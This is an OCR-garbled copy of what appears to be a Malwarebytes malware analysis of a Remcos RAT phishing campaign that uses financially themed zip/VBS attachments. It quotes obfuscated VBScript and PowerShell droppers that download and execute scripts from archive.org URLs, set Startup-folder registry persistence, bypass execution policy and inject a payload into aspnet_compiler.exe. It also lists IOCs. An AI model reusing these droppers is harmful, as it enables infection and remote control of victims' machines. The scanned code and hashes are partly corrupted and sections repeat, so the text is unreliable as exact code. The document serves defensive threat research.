26 for your Loan Appraisal.vbs
Apr Application- Appraisal.reportl1100335467734.zip Property hta*
11003354677341
Fwd: Appraisal
Report for your
llvé[}ay Loan Appraisalreportl1100788392210.zip Appraisal..vbs
Application-
1100788392210

Fwd: Reminder:
28 Your July
Jun Appointment-
11002214991

transaction_completed11003456773311..zip ~ Report-Slip.vbs

6Jul  Fwd: Reminder: transaction_completed11003456773312.zip ~ Report-
Your July 11003456773312.vbs
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Date  Subject Attachment Name Contents

Appointment-
11003456773312

In most Remcos spam campaigns, the payload is an executable contained in an attached archive (.zip) or disk image (.img)
file, though malicious documents are also sometimes used. In this campaign however, the emails contain a zip archive
containing a Visual Basic script (.vbs) which downloads and executes additional scripts and finally installs the Remcos

payload.

*Eariler versions also included a “Property.hta” file which only comprised the VB script wrapped in HTML as seen below.

Interestingly, the body of this HTML consisted only of the text “demo”, which indicates this might have been test code.

http-equiv="Content-Type" content xt/html; charset=utf-8"

language="VBScript"
Window.ReSizeTo 0, @
Window.moveTo -3000,-3000
Dim ox
Set gx= CreateObject("WScript.Shell")
+0" & Mw"

Replace ( ,"C').R"
"D$$$$$$$$559n: . ce ("’ ', "loadStri").Replace('$$$$$$$$$$$", ‘ow') j$vl =

);$v9999 = ' S SEEE AAEATS rchive.org/35/items/

,» '=0"BjJECT $v@$vo0 ).3$v0");
a+bb+cc+dd++ee+gg+kk+"
ox.Run 0K,@

self.close

Analysis

Remcos is a fully-functioning RAT that gives the threat actor full control over the infected system and allows them to collect
keystrokes, audio, video, screenshots, and system information. Because it has full control, Remcos is also able to download
and execute additional software onto the system. This Remcos distribution utilizes a series of scripts that ultimately results
in the injection of a Remcos payload into the Windows system binary aspnet_compiler.exe. A sample infection chain for

this variant is shown below:

- ’
2> !—)E

Phishin ; PS Downloads
N ailg Zip Attachment VB Secript and Executes

VB script
ot
_— _—
PS Downloads PS Downloads ~ Embedded PE
Downloaded Downloaded
V8 Soript and Executes VB Script and Executes injected into
VB script VB script  aspnet_compiler.exe

The samples analyzed below originate from the attachment Appraisalreportl1100788392210.zip (SHA256
4e712de8a3d602ccf55321a85701114c01f9731af356da05fb6e3881a13bb23e). As with all analyzed samples, the the

infection chain followed the process flow above; the initial Visual Basic script initiates a series of download and execution

of obfuscated scripts that eventually result in the injection of the final Remcos payload into aspnet_compiler.exe.
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Dim
RWESTRDYTFY¥GUHGYFUTDRYSETRDTFUYGIUIYFUTDRYSETYRDTUFYI7GI6FUSDY4SYDSUGFI7GOHB7GI6FUSDYDUGFYI7GUHUGYFTDRSGERHTCIVY
KUBL

Set
RWESTRDYTFYGUHGYFUTDRYSETRDTFUYGIUIYFUTDRYSETYRDTUFYITGI6FUSDY4SYD5SU6FI7GOHB7GI6FUSDYDUGFYI 7GUHUGY FTDRSGERHTCIVY
KUBL= CreateObject("WScript.shell”

ESFGRDHFJGHBKIGHFGDZGXFHCGIJVHKBIKHVIGHCFGXKDFXGCHIBHFGFTSRESTRDYFUGY THUNBY IVUTCYRXTERCTVYBUNIMNUBYVUTCYRTXEXRCTVY
BUKNBYVUYTCRXEZXTCYUVBUIN="p"

DCGFVHINNGFCSDFGVHIGFCXDGVHINKHGFDFGVBHGINHBGMF DSFGHIKHNBNGMFCDXFCGVHBIJNMKHIGFDRSTFGYHUJ = "OWe"
VFHTTTTTTTTTTTTTTGSRBHGRFCVDHGBTFNYGTYRDTSETRVDBTFNYGNFTRT SERDTFYKGUYESRVDTFBYNGHUI ="RsHe"

DTHFBTYGNUYBTHVRGCVHTBJYNGKUHMNYJBTHVRGHCTBIYNHVECSZDGCHINBRNBVCESECTRVFBYUNGHIJOUYHTGRTDFBYUGHIJUYHTRFDTFYUGHIO
JRTDVFBYUNGHIOJ = "L"

ETRCHTVIYTCRERXTRCYTVUYBIUYUTFRTESTRYJTYGIUYUTYRTXEZXTRCYTUVYBIUYUTYCREEZWEXTRCYUVYBIUYUTYRTETRYCTUVY IUOTIUYTRTET
XRCYVUYBU ="L

$SETRDYTFUYDTRYTUY='DoXRTYTCUVYBUIOINUYVUTCYUVBUIing' .Replace( 'XRTYTCUVYBUIOINUYVUTCYUVBUI', 'wnloadstr'); $SETRTC
YVYBETRYTJUYG =

'WRCYTVYBUYVTCRYCTVUYBIVTCYTent ' .Replace( 'RCYTVYBUYVTCRYCTVUYBIVTCYT', 'ebCli'); $T4RDTHFTJIGJKHL="'ND¥TFUYGIUHYTDRY
TFUYGIUt' .Replace( 'DYTFUYGIUHYTDRYTFUYGIU', 'e"); $SETRDYFYGUIHIJ
='https://ia601401.us.archive.org/31/items/all 20210518 202105/ALL.TXT';$RTDYUGHIOJ="(NewYERe'.Replace('YEA', -
Obj');$DYTFYGUHI="ct

System. $T4RDTHFTIGIKHL . § SETRTCYVYBETRYTJUYG) . $SETRDYTFUYDTRYTUY ( SSETRDYFYGUIHIJ) ' ; SRTDYUGIO=I"E X

($RTDYUGHIOJ, SDYTFYGUHI -Join '')|I E X"

FESGRDHTFIGYKFTHRGSEFGRHDTYGKUHGYFTDRSESRDHTF YGUKHGYFTDRSERDHTFYGUHIHUGYFTDYRSDTFYGUKHILUGYFTDRSERGDHATF JGUKHLIUG
YFTDRSDHTFYGUH =

ESFGRDHFJGHBKIGHFGDZGXFHCGIJVHKBIKHVIGHCFGXKDFXGCHIBHFGFTSRESTRDYFUGY THUNBY IVUTCYRXTERCTVYBUNIMNUBYVUTCYRTXEXRCTVY
BUENBYVUYTCRXEZXTCYUVBUIN+DCGFVHINNGFCSDFGVHIGFCXDGVHINKHGFDFCVBHGINHBGMFDSFGHIKHNBNGMFCDXFCGVHBINMKHIGFDRSTFGYH
UJ++VEHTTTTTTTTTTTTTTGSREEGRFCVDHGBTFNYGTYRDT SETRVDETFNYGNFTRTSERDTFYKGUYESRVDTFBYNGHUI+DTHFBTYGNU¥YBTHVRGCVHTBJ Y
NGKUHMNYJBTHVRGHCTBJYNHVFCSZDGCHINBKNBVCESECTRVFBYUNGHIJOUYHTGRTDFBYUGHIJUYHTRFDTFYUGHIOJRTDVF BYUNGHIOJ+ETRCHTVI
YTCRERKTRCYTVUYBIUYUTFRTESTRYJTYGIUYUTYRTXEZXTRCYTUVYBIUYUTYCRXEZWEXTRCYUVYBIUYUTYRTETRYCTUVYIUOIUYTRTETXRCYVUYR
LI

RWESTRDYTFYGUHGYFUTDRYSETRDTFUYGIUIYFUTDRYSETYRDTUFYITGI6FUSDY4SYD5SU6FI7GOHB7GI6FUSDYDUGFYI 7GUHUGY FTDRSGERHTCIVY
KUBL.Run

FESGRDHTFIGYRFTHRGSEFGREDTYGKUHGYFTDRSESRDHTF YGUKHGYFTDRSERDHTFYGUHIHUGYFTDYRSDTFYGUKHILUGYFTDRSERGDHTFJGUKHLIUG
YFTDRSDHTFYGUH, 0

Although the script above is lengthy due to obfuscation, it ultimately amounts to the following simple powershell command

which downloads and executes a second Visual Basic script:

(CreateObject ("WScript.Shell”)).run powershell IEX New-Object
System.Met.WebClient.Downloadstring( 'https://ia601401.us.archive.org/31/items/all 20210518 202105/ALL.TXT')

The first downloaded script (ALL.TXT) also uses simple deobfuscation techniques to perform a few simple tasks. The
$JUANADEARCO variable in this script contains Base64-encoded data which is decoded by the last line of the script (this

data is shown as decoded in the highlighted box in the image below). This script performs the following actions:

¢ Creates the directory C:UsersPublicRun

* Downloads Run_02_02_02.TXT (saved as C:UsersPublicRunRun.vbs)

* Downloads Lerveri.txt (saved as UsersPublicRun—Run+++++++++.ps1)

e Sets HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell FoldersStartup to “C:UsersPublicRun”
e Sets HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerShell FoldersStartup to “C:UsersPublicRun”

The shell folder registry entries are legacy keys that are still existent for backwards compatibility. Setting the “Startup”
value of these registry entries to the malware’s directory of execution effectively sets the contents of that directory to

execute upon system startup, ensuring persistence.
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FUNCTION DAFD5C5B9266824C4EEFCE3EQC69FD3FAR(SD4FD5C5B9266824C4EEFC83ENC69FD3FAAE)
{
$DAFD5C5B9266824C4EEFCBIEOC69FD3FAAX = "Fr"+"omBa"+"se6"+"45tr"+"ing"
$D4FD5C5B9266824C4EEFCBIEOCE9FD3FARG =
[Text.Encoding]::Utf8.GetString([Convert]::$D4FD5C5B9266824C4EEFCB3E0C69FD3FAAX ($D4FDSC5B9266824C4EEFCS83E0C69FD3
FAAE) )
return $D4FD5C5B9266824C4EEFC83E0C69FD3FAAG
+
S$TYFGYTFFFYTFYTFYTFYT = 'https://ia601502 Jus. archive.org/29 /‘:Ltfﬂs:’Lerveri/Ierverl JEXE'
$JUANADEARCO = 'SFVYTFYTFYFYFYFYPGY="C:\Users\Public\Run"
$YGUYGNUHYGUYGYUGYGUYGYUG = "Cr ory" .Replace | "#i####SHaH##HE###E" , "eateDirect ")
$HIUHIUHJIUHUYUUIHYIUIUHI = "HECU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"
SGVFHTFYUGRTYUGYFTFYYUH= "HRCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
STYHGYUGUYGFYTFDTRDTRDFTR = "C:\UsS—-—-==———————~ c\Run".Replace("-——-———m—muuuu ", "ers\Publi")
SBFYHGTFYHFHUYGYUBYUYYUYG ="C-----—=—mm== blic\Run".Replace("-=========—= ", ":\Users\Pu")
SFYTFYHIGTFYTGF6HG = 'C:\U- ,"sers\Public\Run\Ru")
SFGYTFHTFUGHUYYGYUG = 'C:\- sl'.Replace("----
SYFGYTFHYTFYTFGTRDTRDT = "C:\++++++++4++.psl” Replace( "++++++++4+4", "Users\Publich--~--] Run++++++++4")
[system.io.directory]:: $YGUYGNUHYGUYGYUGYGUYGYUG( SEVYTFYTFYFYFYFYFGY)
start-sleep -s 5
Set-ItemProperty -Path $HIUHIUHJIUHUYUUIHYIUIUHI -Name "Startup” -Value SJYHGYUGUYGFYTFDTRDTRDFTR;
Set-ItemProperty -Path $GVFHTFYUGRTYUGYFTFYYUH -Name "Startup"” -Value $BFYHGTFYHFHUYGYUSYUYYUYG;

start-sleep -s 5

--n.vbs'.Replace("----

Runt++++++++.p")

Function vip

{

start-sleep -s 5

if( (New-Object ""N e T°."We B C'l'i'e N T")."DowN 1l oAdFile"
('https://ia601406.us.archive.org/32/items/run-02-02-02/Run_02_02_02.TXT',SFYTFYHJGTFYTGF6HG) ) {
}

start-sleep -s 5

if((New-Object "'N'e T . W e B'C'1l'i"e N T")." Do'wN 1l oA d F il e"(STYFGYTFFFYTFYTFYTFYT,
$SFGYTFHTFUGHUYYGYUG) ) {

}

start-sleep -s 3

powershell -windo 1 -noexit -exec bypass -file $YFGYTFHYTFYTFGTRDTRDT

}

IEX vip'

$HBAR = D4FD5C5B9266824C4EEFC8IENCEYFDIFAA ( $JURANADEARCO) ; §Run=($HBAR -Join '')|T E°X

Run.vbs is obfuscated in a similar fashion to the initial Visual Basic script:

Dim FDGFDHGFJGKUGK
Set FDGFDHGFJGKUGK= CreateObject("WScript.Shell")
HVJHGJYGUGKUGU="po"

HHGJUGLHIUGUGKUG="wers"

KUHIHGKYFUYTFUYUYFU="hell -ExecutionPolicy "

DHYJGKUGKUGFUTYTEFUY " Bypass &"

GFDRYTFUGUTUYURFUTR "C:\Users\Public"

DTFYHJGIGIJYGUTRYTFY = "\--—-- Run+++++++++.psl' "

0K =

HVIHGJYGUGKUGU+HHGJUGLHIUGUGKUG+KUHIHGKYFUYTFUYUYFU+DHYJGRUGKUGFUTYTFUY ++GFDRYTFUGUTUYURFUTR+DTFYHIGIGIYGUTRYTFY
o

FDGFDHGFJGKUGK.Run OK,0

This script (deobfuscated below) is responsible only for execution the main powershell script which contains embedded

binaries, encoded in hex in plaintext.

powershell -ExecutionPolicy Bypass & 'C:\Users\Publiel----- Run++++++444.psl

One of the binaries encoded in —Run+++++++++.ps1 is the Remcos payload which is loaded into the legitimate

Windows binary aspnet_compiler.exe. The following function in the powershell script loads the Remcos PE into the binary:

[Reflection.Assembly]: :Load($H5).GetType(\ 'VBNET.PE\').GetMethod(\'Run\').Invoke($null,[object[]] (
\'C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe\',6 $H1))

Although all of the analyzed Remcos samples of this campaign since January 2021 call back to the same IP address and port,
no actual C2 traffic has been observed. All of the script downloads have pointed to addresses on the legitimate website
us.archive.org, and the payloads have connected (though only via TCP handshake) to the IP address 185.19.85[.]168 on port
8888.
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Because this IP address has not changed over several months, we investigated the passive DNS records to see if the
infrastructure may have been used in other recent attacks. We found that this IP address had the following resolutions over

the last few months:

Address First Seen Last Seen

shugardaddy.ddns.net 26 May 21

ch-pool-1194.nvpn.to 24 May 21 30 June 21
tippet.duckdns.org 13 May 21 16 May 21
mail.swissauto.top 29 May 20 11 May 21
randyphoenix.hopto.org 4 April 21 14 April 21

Examination of this IP address revealed several hosted services on multiple ports. The highlighted date range above is
interesting as it appears to be a mail server, and Spamhaus Zen classifies this address as blocked due to spam. Furthermore,
analysis also revealed that the #totalhash malware database contains malware associated with this address going back as far
as 2013. Correlating additional malware associated with this address showed several other versions of Remcos samples

connecting to the same IP (many to shugardaddy.ddns.net port 5946) — a few recent samples are shown below:

Date Last
SHA256 Hash
Seen

15cf9daf5bad1a5a78783f675eb63850e216a690e0£3302738ce3bd825babfcl 6 Jul 21
Oea2e136c0604fe2336a37c¢9d7b5a6150abd58e48311fa625ea375468189931e 5Jul 21
8d0dfc2239405eebc7a9d5483492a0225963faedc110ecbd12f1f39celef937a 29 Jun 21
22634cbaf1a60ca499a9b692aae881cffdaf205a4755ee34915e5512ea87cabd 25 Jun 21
898020967dbec06a60b63269d54b15ad968e2f1146f10fdbf22e79e2339425d2 25 Jun 21

d7aede3e0703ce5ec7bb4c333d4ddb6551fb5032825e756b7132367625107a36 21 Jun 21

One identifying factor from this campaign is the use of us.archive.org to host payloads. Although this is not unique to
malware campaigns in general, it is unique to the Remcos campaigns we have analyzed — only the VBS method of

distribution has been observed to display this behavior.

In an analysis from Morphisec in March of this year, an HCrypt loader sample was analyzed that demonstrated a similar
infection chain to the Remcos samples discussed above. Although the stages and scripts are not identical, the intermediary
steps share a few similarities, such as the file names of the downloaded scripts ALL.txt, Server.txt, and in newer samples,
Bypass.txt. The scripts also have a few function names in common, but the HCrypt samples have anti-analysis and anti-virus
evasion functionality not seen in the Remcos samples. Further research is required to determine whether this set of scripts is

a generically available package, or specific to a particular actor and being re-used across campaigns.

Although the actor or group behind this campaign is not known, the sporadic nature of the emails distributing this malware
suggests that it could be targeted in nature. Remcos is a mature trojan that has evolved over many years; though the basic
capabilities have remained the same, the methodologies of distribution and installation continue to change. Because it is
software that can be purchased openly online, it is difficult to trace or attribute usage to a particular actor. However, given
the consistency of network infrastructure and installation methodology, it is possible that the motivation or actors behind
these attacks could be identified. Malwarebytes analysts continue to monitor and track this threat and will update detections

and indicators as needed.

Protection

Malwarebytes protects users from Remcos by using real-time protection.
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@ Ma

It is no longer a threat to your computer

ware automatically quarantined

Type:  Malware
Name: Trojan.MalPack.DLF
Path: ..\Tax Returns Assessment Forms to be signe...

References

https://www.anomali.com/blog/threat-actors-use-msbuild-to-deliver-rats-filelessly

https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers

https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service

I0Cs
Analyzed Samples:
Type Name / Subject SHA256
Email Fwd: Appraisal Report for your
673b315a95b8c816502ec0dc3cae79cf14e0d7c09139¢2fc4b9202fbC
Subject Loan Application-1100788392210
Attachment = Appraisalreportl1100788392210.zip ~ 4e712de8a3d602ccf55321a85701114c01f9731af356da05fb6e3881a
Extracted
S | Appraisal..vbs 1f8853601030ad92bd78fd3f0fbf39eacd2f39f47317914b67aa26dfd:
ample
Remcos VB Scripts:

92a7e167629bd14c88a03ef1b6719acd143082c495972a829f20cc588fd6e084
b1849476d3b8900288d6bf7c9ac229eba5e64d665398302a0842¢3352596560
ba4b51ae64c68b32d126322b51b41dce7¢300c01faed97aca35ff142e121a914
5a69f279426b012b64a3099d778cd57aeca9db135d9701c2e11f71d55¢3fb5e3
db01d69a7ae17947f77b50cfb03b2be6b784eeecdabfbb966b61ecdb3490d3ad
109a40435ad446¢7b03af30bb049f55275a659c0271fa7a8a1a59d5871d18c10
abae2e0f9a8f1c50e21ea93f4a195097753cd16436ffa4e946add38da873c8cb
a465bb35f4e7bafb2feal7156c39daee286e49c3f10463ecb8d29766e2d0b200
d2d9b66c9aad0e6ec20a786a89299a8b4a65a5a344db369dfd7bfbad3fb40b55
5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
7519540343e10c7846979809166df1cd0f01087ea53bf20fd5dd416dc6ebad14
dae93e987a854255ff55ce9f62729f17f57d3f8a56933a57cb8de89b698e81f0
b61f6b794f38f736e90ae8aa04e5f71acc8d5470c08ef8841c16087b6710a388
6f4f4f4b980e471c5{8f5d0d95bff5a7ec98e3e2377f18f7fc0d44828cbe33a6
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Related Remcos Samples:

15cf9dafSbad1a5a78783f675eb63850e216a690e0f3302738ce3bd825babfcl
Oea2e136c0604fe2336a37c9d7b5a6150abd58e48311fa625ea375468189931e
8d0dfc2239405eebc7a9d5483492a0225963fae4c110ecbd12f1f39celef937a
22634cbaf1a60ca499a9b692aae881cffdaf205a4755ee34915e5512ea87cab4
898020967dbec06a60b63269d54b15ad968e2f1146f10fdbf22e79e2339425d2
d7aede3e0703ce5ec7bb4c333d4ddb6551fb5032825e756b7132367625107a36
aB80c2e71f7cc69a729035941d13c79fd210290e7{82cefce14ceef7dba3f3026
1aa8163fc4947fec127350aebc420e4832a5e7a3430109201f6796fc12292dfc
4a7d54b6013b6296df3576a8d62f00cbc4af18fbbbfa97b831c38c664b4d70ce
¢55dffdcb320a06872faadcc7777bafd81051a17533e919fbee3fc27e8f47135¢1b0883505b15
509fb00b3a458a86563737c0ce278f6fb713eafe90da7e14aa0d54566e172a81
e06220108f931bb43ecf136844cdfede4b9albbc637b6ff8a3870710e709fele
109a40435ad446c7b03af30bb049f55275a659c0271fa7a8a1a59d5871d18¢c10
0fe5a7d7d6a2c077b4b641f4d2077f2fa476a2317283323801bed7a7a6770906
a465bb35f4e7bafb2feal7156c39daee286e49c3f10463ecb8d29766e2d0b200
0d74a33006727ab086e281681cc8ee3d71ee7843f19b6fa52a86efc92b0444al
5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
5ca6ae0cf402083bb06f267962b62d812151c8193a6b726ef1b84a2ed7ca5ef2

Other I0Cs:

185.19.85.168
1a601401.us.archive.org
1a601502.us.archive.org
1a601405.us.archive.org
ia601406.us.archive.org
shugardaddy.ddns.net
ch-pool-1194.nvpn.to
tippet.duckdns.org
mail.swissauto.top

randyphoenix.hopto.org

Analyzed Samples:

Type Name / Subject SHA256

Email Fwd: Appraisal Report for your
Subject Loan Application-1100788392210

673b315a95b8c816502ec0dc3cae79cf14e0d7c09139c2fc4b9202fbC

Attachment  Appraisalreport]1100788392210.zip ~ 4e712de8a3d602ccf55321a85701114c01f9731af356da05fb6e3881a

Extracted
s | Appraisal..vbs 1£f8853601030ad92bd78fd3f0fbf39eacd2f39f47317914b67aa26dfd"
ample

Remcos VB Scripts:
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92a7e167629bd14c88a03ef1b6719acd143082c495972a829f20cc588fd6e084
b1849476d3b8900288d6bf7c9ac229eba5e64d665398302a0842c335259f6560
ba4b51ae64c68b32d126322b51b41dce7c300c01faed97aca35ff142e121a914
5a69f279426b012b64a3099d778cd57aeca9db135d9701c2e11f71d55¢c3fb5e3
db01d69a7ae17947f77b50cfb03b2be6b784eeecdabfbb966b61ecdb3490d3ad
109a40435ad446c7b03af30bb049f55275a659c0271fa7a8a1a59d5871d18c10
abae2e0f9a8f1c50e21ea93f4a195097753cd16436ffa4e946add38da873c8cb
a465bb35f4e7bafb2feal7156c39daee286e49c3f10463echb8d29766e2d0b200
d2d9b66c9aad0e6ec20a786a89299a8b4ab5a5a344db369dfd7bfbad3fb40b55
5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
7519540343e10c7846979809166df1cd0f01087ea53bf20fd5dd416dc6ebad14
dae93e987a854255ff55ce9f62729f17f57d3f8a56933a57cb8de89b698e810
b61f6b794£{38f736e90ae8aa04e5f71acc8d5470c08ef8841c16087b6710a388
6f4f4f4b980e471c5f8f5d0d95bff5a7ec98e3e2377f18f7fc0d44828cbe33a6

Related Remcos Samples:

Other IOCs:

15cf9daf5bad1a5a78783f675eb63850e216a690e0f3302738ce3bd825ba6fcl
Oea2e136c0604fe2336a37c9d7b5a6150abd58e48311fa625ea375468189931e
8d0dfc2239405eebc7a9d5483492a0225963faedc110ecbd12f1f39ce1ef937a
22634cbaf1a60ca499a9b692aae881cffdaf205a4755ee34915e5512ea87cab4
898020967dbec06a60b63269d54b15ad968e2f1146f10fdbf22e79e2339425d2
d7aede3e0703ce5ec7bb4c333d4ddb6551fb5032825e756b7132367625107a36
aB80c2e71f7cc69a729035941d13c79fd210290e7{82cefce 14ceef7dba3f3026
1aa8163fc4947fec127350aebc420e4832a5e7a3430109201f6796fc12292dfc
4a7d54b6013b6296df3576a8d62f00cbc4af18fbbbfa97b831c38c664b4d70ce
¢55dffdcb320a06872faadcc7777bafd81051a17533e919fbee3fc27e8f47135
adf94da54bc49abc6fdb2a36523eb726f26dacd5598a0fdc64e61b8d500edad8
59aafb3dd9c6cdb95ff662299e1faf3efb01d5ef8479dbbb8032b4b9cb3c3d91
adf94da54bc49abc6fdb2a36523eb726f26dacd5598a0fdc64e61b8d500edad8
1d969ace725bf5185e64c3c4abab122a3ff4eaafe25f56bd8c1d7b7ba2df0aac
a54f4ee320b21cl1cfde3358a25131476127b9fb1fd5cad9fd03fa2be1f4fd0e2
92a7e167629bd14c88a03ef1b6719acd143082¢495972a829f20cc588fd6e084
46b1d3c565a615b2df02a567f507a2dc7f75d088fc2b52b1f1e1ce7a92594175
1a7ceaddf547d47cf7d2d7eda0357d38f489eaeb3b06ea3027ae87df6e5c8195
47287127bcc7bf1502d8b84af3c9050a6b46caa9e1558ab27a2c1b0883505b15
509fb00b3a458a86563737c0ce278f6fb713eafe90da7e14aa0d54566e172a81
€06220108f931bb43ecf136844cdfede4b9albbc637b6ff8a3870710e709fe0e
109a40435ad446c7b03af30bb049f55275a659c0271fa7a8a1a59d5871d18c10
0fe5a7d7d6a2c077b4b641f4d2077f2fa476a2317283323801bed7a7a6770906
a465bb35f4e7bafb2feal7156c39daee286e49c3f10463ecb8d29766e2d0b200
0d74a33006727ab086e281681cc8ee3d71ee7843f19b6fa52a86efc92b0444al
5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
5ca6ae0cf402083bb06f267962b62d812151c8193a6b726ef1b84a2ed7ca5ef2

185.19.85.168
ia601401.us.archive.org
ia601502.us.archive.org
1a601405.us.archive.org
1a601406.us.archive.org
shugardaddy.ddns.net
ch-pool-1194.nvpn.to
tippet.duckdns.org
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mail.swissauto.top

randyphoenix.hopto.org

This blog post was authored by Erika Noerenberg

Introduction

Over the past months, Malwarebytes researchers have been tracking a unique malspam campaign delivering the Remcos
remote access trojan (RAT) via financially-themed emails. Remcos is often delivered via malicious documents or archive
files containing scripts or executables. Like other RATs, Remcos gives the threat actor full control over the infected system
and allows them to capture keystrokes, screenshots, credentials, or other sensitive system information. Unlike most RATs
used by malicious actors however, Remcos is marketed as an administrative tool by the company Breaking Security which

sells it openly on their website.

Distribution

Remcos often infects a system by embedding a specially-crafted settings file into an Office document, allowing an attacker
to trick a user to run malicious code without additional notification. This variant of Remcos has been observed to be
distributed via targeted spam emails with an attached archive file. The emails and attachment names have been primarily

financially-themed; an example email is shown below:

Message

— Yo% 3 B p 5L 0
& 5 < # Create New m E
Delete Reply Reply Forward Move Mark Categorize Follow Translate Zoom
All - Unread - Up~
Delete Respond Quick Steps . Move Tags . Editing Zoom ~
chab14 b2d7afe7ble29.center 2add675f@80cc189188576c840.com 1 5/21/2021

Fwd: Appraisal Report for your Loan Application-1144325779952

v

Appraisalraporti114432.
2KB

[redacted

For illustration, the following table lists a sample of email subjects and attachment names from 2021 by date:

Date  Subject Attachment Name Contents
Separate

0 Remittance

Jan Advice: paper Payment Advice.img Payment Advice.vbs
document no —
9604163
Appraisal Report

26 for your Loan ) ) Appraisal.vbs

Apr Application- Appraisal.reportl1100335467734.zip Property.hta*
11003354677341
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Date  Subject
Fwd: Appraisal
Report for your
18 P y
Loan
May
Application-
1100788392210

Fwd: Reminder:
28 Your July
Jun Appointment-
11002214991

Fwd: Reminder:

Your July
6 Jul
Appointment-

11003456773312

Attachment Name

Appraisalreport]1100788392210.zip

transaction_completed11003456773311..zip

transaction_completed11003456773312.zip

Contents

Appraisal..vbs

Report-Slip.vbs

Report-
11003456773312.vbs

In most Remcos spam campaigns, the payload is an executable contained in an attached archive (.zip) or disk image (.img)

file, though malicious documents are also sometimes used. In this campaign however, the emails contain a zip archive

containing a Visual Basic script (.vbs) which downloads and executes additional scripts and finally installs the Remcos

payload.

*Eariler versions also included a “Property.hta” file which only comprised the VB script wrapped in HTML as seen below.

Interestingly, the body of this HTML consisted only of the text “demo”, which indicates this might have been test code.

http-equiv="Content-Type" content="text/html; charset=utf-8"

language="VBScript"
Window.ReSizeTo @0, @
Window.moveTo -3000,-3000
Dim ox

Set ox= CreateObject("WScript.Shell")

ot

b'.Replace('#','e"').Replace('@
);$V000 = "D$$$$$$$$$59

ee ="eplace('!!",

$ rep"

gg = "lace('s$','I').replace('~", 'x");

all_20210420_20210420_1440/ALL.TXT

a+bb+cc+dd++ee+gg+kk+"
ox.Run 0K,

self.close

Analysis

L0 R

,'loadStri').Replace(' $$$$$$$$$$$", 'ow') ;$vl =

SESEE&ESS00( ' 'https://1a601509.us.archive.org/35/items/

LE&E

YY) TETX"

Remcos is a fully-functioning RAT that gives the threat actor full control over the infected system and allows them to collect

keystrokes, audio, video, screenshots, and system information. Because it has full control, Remcos is also able to download

and execute additional software onto the system. This Remcos distribution utilizes a series of scripts that ultimately results

in the injection of a Remcos payload into the Windows system binary aspnet_compiler.exe. A sample infection chain for

this variant is shown below:
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= [
22— !»g

P:iﬁ:':il:g Zip Attachment VB Script :ﬁ dDI(E)xw:gﬁ?::
VB script
_— -_—
PS D load
Downioaded 5oy é’x“"’e“cﬁfs: Downloaded 7S Downloads  Embedded PE
VB Script - VB Script and Executes injected into
VB script VB script  aspnet_compiler.exe

The samples analyzed below originate from the attachment Appraisalreportl1100788392210.zip (SHA256
4e712de8a3d602ccf55321a85701114c01f9731af356da05fb6e3881a13bb23e). As with all analyzed samples, the the
infection chain followed the process flow above; the initial Visual Basic script initiates a series of download and execution

of obfuscated scripts that eventually result in the injection of the final Remcos payload into aspnet_compiler.exe.

Dim
RWESTRDYTFYGUHGYFUTDRYSETRDTFUYGIUIYFUTDRYSETYRDTUFYI7GI6FUSDY4SYD5SUGFITGOHB 7GI6FUSDYDUGFYI 7GUHUGYFTDRSGERHTCIVY
KUBL

Set
RWESTRDYTFYGUHGYFUTDRYSETRDTFUYGIUIYFUTDRYSETYRDTUF¥I7GI6FUSDY4SYDSUGFI7GOHB7GI6FUSDYDUGFYI 7GUHUGYFTDRSGERHTCIVY
KUBL= CreateObject("WScript.Shell"

ESFGRDHFJGHBEJGHFGDZGXFHCGIVHKBJKHVIGHCFGXDFXGCHIBHFGFTSRESTRDYFUGY THUNBY IVUTCYRXTERCTVYBUNIMNUBYVUTCYRTXEXRCTVY
BUKNBYVUYTCRXEZXTCYUVBUIN="p"

DCGFVHINNGFCSDFGVHIGFCXDGVHINKHGFDF GVBHGINHBGMF DS FGHIKHNBNGMFCDXFCGVHBINMKHIGFDRSTFGYHUJ = "OWe”
VFHTTTTTTTTTTTTTTGSRBHGRFCVDHGBTFNYGTYRDTSETRVDBTFNYGNFTRTSERDTFYKGUYESRVDTFBYNGHUI ="RsHe"

DTHFBTYGNUYBTHVRGCVHTBJYNGKUHMNYJBTHVRGHCTBJYNHVFCSZDGCHINBRKNEVCESECTRVFBYUNGHIJOUYHTGRTDFBYUGHIJUYHTRFDTFYUGHIO
JRTDVFBYUNGHIOJ = "L"

ETRCHTVIYTCRERKTRCYTVUYBIUYUTFRTESTRYJTYGIUYUTYRTXEEZXTRCYTUVYBIUYUTYCRXEZWEXTRCYUVYBIUYUTYRTETRYCTUVYIUOIUYTRTET
XRCYVUYBU ="L

$SETRDYTFUYDTRYTUY='DoXRTY¥TCUVYBUIOINUYVUTCYUVBUIing' .Replace( ' XRTYTCUVYBUIOINUYVUTCYUVBUI', 'wnloadstr');$SETRTC
YVYBETRYTJUYG =

'WRCYTVYBUYVTCRYCTVUYBIVTCYTent ' .Replace( 'RCYTVYBUYVTCRYCTVUYBIVTCYT', 'ebCli'); $T4RDTHFTIGJIKHL='NDYTFUYGIUHYTDRY
TFUYGIUt' .Replace( 'DYTFUYGIUHYTDRYTFUYGIU', 'e');$SETRDYFYGUIHIJ
='https://ia601401.us.archive.org/31/items/all_20210518_202105/ALL.TXT  ; $RTDYUGHIOJ="(NewYEAe'.Replace( 'YEA', -
0bj');$DYTFYGUHI='ct

System. $T4RDTHFTIGIKHL . $§SETRTCYVYBETRYTJUYG) . $SETRDY¥TFUYDTRYTUY ( SSETRDYFYGUIHIJ) ' ; SRTDYUGIO=I"E X

($RTDYUGHIOJ, $DYTFYGUHI -Join '') |I‘E X"

FESGRDHTFJGYRFTHRGSEFGRHDTYGKUHGYFTDRSESRDHTF YGUKHGYFTDRSERDHTFYGUHIHUGYFTDYRSDTFYGURHILUGYFTDRSERGDHTF JGUKHLIUG
YFTDRSDHTFYGUH =

